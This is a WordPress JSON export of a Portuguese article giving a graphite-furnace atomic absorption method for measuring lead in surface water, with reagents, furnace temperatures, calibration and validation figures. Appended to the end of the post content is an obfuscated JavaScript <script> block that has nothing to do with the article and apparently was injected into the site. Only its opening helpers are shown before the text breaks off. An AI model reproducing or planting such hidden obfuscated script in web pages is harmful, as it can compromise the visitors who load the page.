{"id":3531,"date":"2025-05-07T11:29:15","date_gmt":"2025-05-07T03:29:15","guid":{"rendered":"https:\/\/www.pgeneral.com\/?p=3531"},"modified":"2025-05-07T11:29:15","modified_gmt":"2025-05-07T03:29:15","slug":"metodo-de-determinacao-do-chumbo-em-aguas-superficiais-por-espetrometria-de-absorcao-atomica-com-forno-de-grafite","status":"publish","type":"post","link":"https:\/\/www.pgeneral.com\/pt\/aplicacoes\/ambiente\/metodo-de-determinacao-do-chumbo-em-aguas-superficiais-por-espetrometria-de-absorcao-atomica-com-forno-de-grafite\/","title":{"rendered":"M\u00e9todo de determina\u00e7\u00e3o do chumbo em \u00e1guas de superf\u00edcie (espetrometria de absor\u00e7\u00e3o at\u00f3mica em forno de grafite)"},"content":{"rendered":"<ol>\n<li>Princ\u00edpio do m\u00e9todo<\/li>\n<\/ol>\n<p>Ap\u00f3s um pr\u00e9-tratamento adequado, a amostra \u00e9 injectada num atomizador de tubo de grafite. Os i\u00f5es de chumbo s\u00e3o dissociados em vapor at\u00f3mico a altas temperaturas no interior do tubo de grafite. Os \u00e1tomos no estado fundamental do elemento alvo absorvem a linha de resson\u00e2ncia emitida por uma l\u00e2mpada de c\u00e1todo oco de chumbo e a intensidade de absor\u00e7\u00e3o \u00e9 proporcional \u00e0 concentra\u00e7\u00e3o de chumbo dentro de um determinado intervalo, permitindo a an\u00e1lise quantitativa do teor de chumbo.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li>Instrumentos e reagentes<\/li>\n<li>Instrumentos e equipamentos<\/li>\n<\/ol>\n<p>- Instrumentos de dete\u00e7\u00e3o:<\/p>\n<p>- Placa de aquecimento el\u00e9ctrica com controlo de temperatura (temperatura ambiente-300\u00b0C)<\/p>\n<p>- Tubos colorim\u00e9tricos de 10 ml<\/p>\n<p>- Micropipetas (20\u03bcL-200\u03bcL, 100\u03bcL-1000\u03bcL, 1000\u03bcL-5000\u03bcL)<\/p>\n<p>- Bal\u00f5es volum\u00e9tricos de 100 mL e 1000 mL<\/p>\n<p>- Equipamento de pr\u00e9-tratamento: Igual aos instrumentos de dete\u00e7\u00e3o, utilizado para a digest\u00e3o da amostra e a prepara\u00e7\u00e3o da solu\u00e7\u00e3o.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"2\">\n<li>Reagentes<\/li>\n<\/ol>\n<p>- Principais reagentes:<\/p>\n<p>- \u00c1cido n\u00edtrico de qualidade MOS.<\/p>\n<p>- Solu\u00e7\u00e3o de \u00e1cido n\u00edtrico 1+99: Adicionar 10 mL de \u00e1cido n\u00edtrico a um bal\u00e3o volum\u00e9trico de 1000 mL contendo uma pequena quantidade de \u00e1gua e, em seguida, diluir at\u00e9 ao tra\u00e7o com \u00e1gua.<\/p>\n<p>- Solu\u00e7\u00f5es padr\u00e3o:<\/p>\n<p>- Solu\u00e7\u00e3o de stock: Solu\u00e7\u00e3o-m\u00e3e padr\u00e3o de chumbo GBW(E)082818-2, 1000 \u03bcg\/mL.<\/p>\n<p>- Solu\u00e7\u00e3o interm\u00e9dia: 100 \u03bcg\/mL (preparado por dilui\u00e7\u00e3o de 10,0 mL da solu\u00e7\u00e3o-m\u00e3e para 100 mL com \u00e1cido n\u00edtrico 1+99; est\u00e1vel durante 1 semana).<\/p>\n<p>- Solu\u00e7\u00e3o de trabalho: 1,0 \u03bcg\/mL (preparada por dilui\u00e7\u00e3o de 1,0 mL de solu\u00e7\u00e3o interm\u00e9dia para 100 mL com \u00e1cido n\u00edtrico 1+99; preparada de fresco antes da utiliza\u00e7\u00e3o).<\/p>\n<p>- S\u00e9rie padr\u00e3o: 0,00, 2,50, 5,00, 10,00, 20,00, 30,00, 40,00 \u03bcg\/L (preparada por dilui\u00e7\u00e3o da solu\u00e7\u00e3o de trabalho).<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Iii.<\/p>\n<ol>\n<li>Prepara\u00e7\u00e3o de amostras<\/li>\n<\/ol>\n<p>- Pr\u00e9-tratamento:<\/p>\n<p>- As amostras de \u00e1gua limpa podem ser medidas diretamente.<\/p>\n<p>- As amostras com elevado teor de s\u00f3lidos em suspens\u00e3o requerem acidifica\u00e7\u00e3o e digest\u00e3o da mat\u00e9ria org\u00e2nica (as etapas espec\u00edficas da digest\u00e3o n\u00e3o s\u00e3o pormenorizadas).<\/p>\n<p>- Prepara\u00e7\u00e3o da solu\u00e7\u00e3o padr\u00e3o: Diluir gradualmente a solu\u00e7\u00e3o-m\u00e3e para preparar solu\u00e7\u00f5es interm\u00e9dias, de trabalho e da s\u00e9rie-padr\u00e3o, todas completadas at\u00e9 ao volume com \u00e1cido n\u00edtrico 1+99.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"2\">\n<li>Teste de amostra<\/li>\n<\/ol>\n<p>- Condi\u00e7\u00f5es de ensaio:<\/p>\n<p>- Par\u00e2metros espectrais:<\/p>\n<p>- Comprimento de onda: 283,3 nm<\/p>\n<p>- Largura de banda espetral: 0,4 nm<\/p>\n<p>- Corrente da l\u00e2mpada do elemento: 3,0 mA<\/p>\n<p>- Corre\u00e7\u00e3o do fundo: L\u00e2mpada de deut\u00e9rio<\/p>\n<p>- Volume de inje\u00e7\u00e3o: 15 \u03bcL<\/p>\n<p>- Programa de aquecimento de fornos de grafite:<\/p>\n<p>- Secagem: 110\u00b0C, 10 s de acelera\u00e7\u00e3o, 10 s de manuten\u00e7\u00e3o, elevado fluxo de g\u00e1s interno.<\/p>\n<p>- Incinera\u00e7\u00e3o: 350\u00b0C, 10 s de acelera\u00e7\u00e3o, 10 s de reten\u00e7\u00e3o, elevado fluxo de g\u00e1s interno.<\/p>\n<p>- Atomiza\u00e7\u00e3o: 1700\u00b0C, 0 s de rampa, 3 s de espera, fluxo de g\u00e1s interno desligado.<\/p>\n<p>- Limpeza: 1900\u00b0C, 1 s de acelera\u00e7\u00e3o, 2 s de manuten\u00e7\u00e3o, elevado caudal de g\u00e1s interno.<\/p>\n<p>- Passos de medi\u00e7\u00e3o: Injetar o branco de reagente, a s\u00e9rie padr\u00e3o e as amostras no tubo de grafite para medir a absorv\u00e2ncia. Subtrair a absorv\u00e2ncia do branco \u00e0 absorv\u00e2ncia de cada solu\u00e7\u00e3o padr\u00e3o, tra\u00e7ar uma curva de trabalho com a absorv\u00e2ncia (ordenada) em fun\u00e7\u00e3o da concentra\u00e7\u00e3o de chumbo (abcissa) e determinar a concentra\u00e7\u00e3o de chumbo da amostra a partir da curva.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"3\">\n<li>C\u00e1lculo de resultados<\/li>\n<\/ol>\n<p><img decoding=\"async\" class=\"alignnone  wp-image-3532\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/05\/\u4f01\u4e1a\u5fae\u4fe1\u622a\u56fe_17465883927842.png\" alt=\"\" width=\"166\" height=\"70\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/05\/\u4f01\u4e1a\u5fae\u4fe1\u622a\u56fe_17465883927842.png 240w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/05\/\u4f01\u4e1a\u5fae\u4fe1\u622a\u56fe_17465883927842-18x8.png 18w\" sizes=\"(max-width: 166px) 100vw, 166px\" \/><\/p>\n<p>Onde:<\/p>\n<p>-\u03c1(Pb): Concentra\u00e7\u00e3o de chumbo na amostra de \u00e1gua (\u03bcg\/L);<\/p>\n<p>-\u03c11: Concentra\u00e7\u00e3o de chumbo da amostra obtida a partir da curva de calibra\u00e7\u00e3o (\u03bcg\/L);<\/p>\n<p>-V1 : Volume da amostra testada (mL);<\/p>\n<p>- V: Volume da amostra de \u00e1gua original (mL).<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li>Par\u00e2metros metodol\u00f3gicos<\/li>\n<li>Concentra\u00e7\u00e3o de massa m\u00ednima detet\u00e1vel<\/li>\n<\/ol>\n<p>- Limite de dete\u00e7\u00e3o: Calculado a partir de 11 medi\u00e7\u00f5es em branco. Desvio padr\u00e3o S<sub>0<\/sub>\u00a0= 0,00044, equa\u00e7\u00e3o da curva de calibra\u00e7\u00e3o A = 0,0060C + 0,0013, coeficiente de correla\u00e7\u00e3o 0,99915. Limite de dete\u00e7\u00e3o: 0,22\u03bcg\/L; concentra\u00e7\u00e3o m\u00e1ssica m\u00ednima detet\u00e1vel: 0,88\u03bcg\/L.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"2\">\n<li>Precis\u00e3o<\/li>\n<\/ol>\n<p>- Resultados da verifica\u00e7\u00e3o: Sete medi\u00e7\u00f5es repetidas da mesma amostra produziram uma absorv\u00e2ncia m\u00e9dia de 0,1509, desvio padr\u00e3o de 0,0046 e desvio padr\u00e3o relativo (RSD) de 3,0%, cumprindo os requisitos de precis\u00e3o.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"3\">\n<li>Exatid\u00e3o<\/li>\n<\/ol>\n<p>- Teste de amostras padr\u00e3o:<\/p>\n<p>- Amostra 201237 (valor padr\u00e3o: 42,0 ng\/mL): Valor m\u00e9dio medido 42,425 ng\/mL, dentro da incerteza alargada (3,1 ng\/mL).<\/p>\n<p>- Amostra 201236 (valor padr\u00e3o: 152,0 ng\/mL): Valor m\u00e9dio medido 147,85 ng\/mL, dentro da incerteza alargada (12 ng\/mL).<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"4\">\n<li>Medi\u00e7\u00e3o de amostra real<\/li>\n<\/ol>\n<p>- As medi\u00e7\u00f5es paralelas de tr\u00eas amostras de \u00e1guas superficiais apresentaram erros relativos de 3,62%-4,31%, cumprindo os requisitos de paralelismo.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li>Precau\u00e7\u00f5es<\/li>\n<\/ol>\n<p>- Pr\u00e9-tratar as amostras de \u00e1gua com um elevado teor de s\u00f3lidos em suspens\u00e3o para eliminar a interfer\u00eancia org\u00e2nica.<\/p>\n<p>- Preparar solu\u00e7\u00f5es padr\u00e3o atrav\u00e9s de dilui\u00e7\u00e3o gradual para garantir a exatid\u00e3o da concentra\u00e7\u00e3o.<\/p>\n<p>- Controlar rigorosamente o programa de aquecimento do forno de grafite para evitar interfer\u00eancias de fundo e atomiza\u00e7\u00e3o incompleta.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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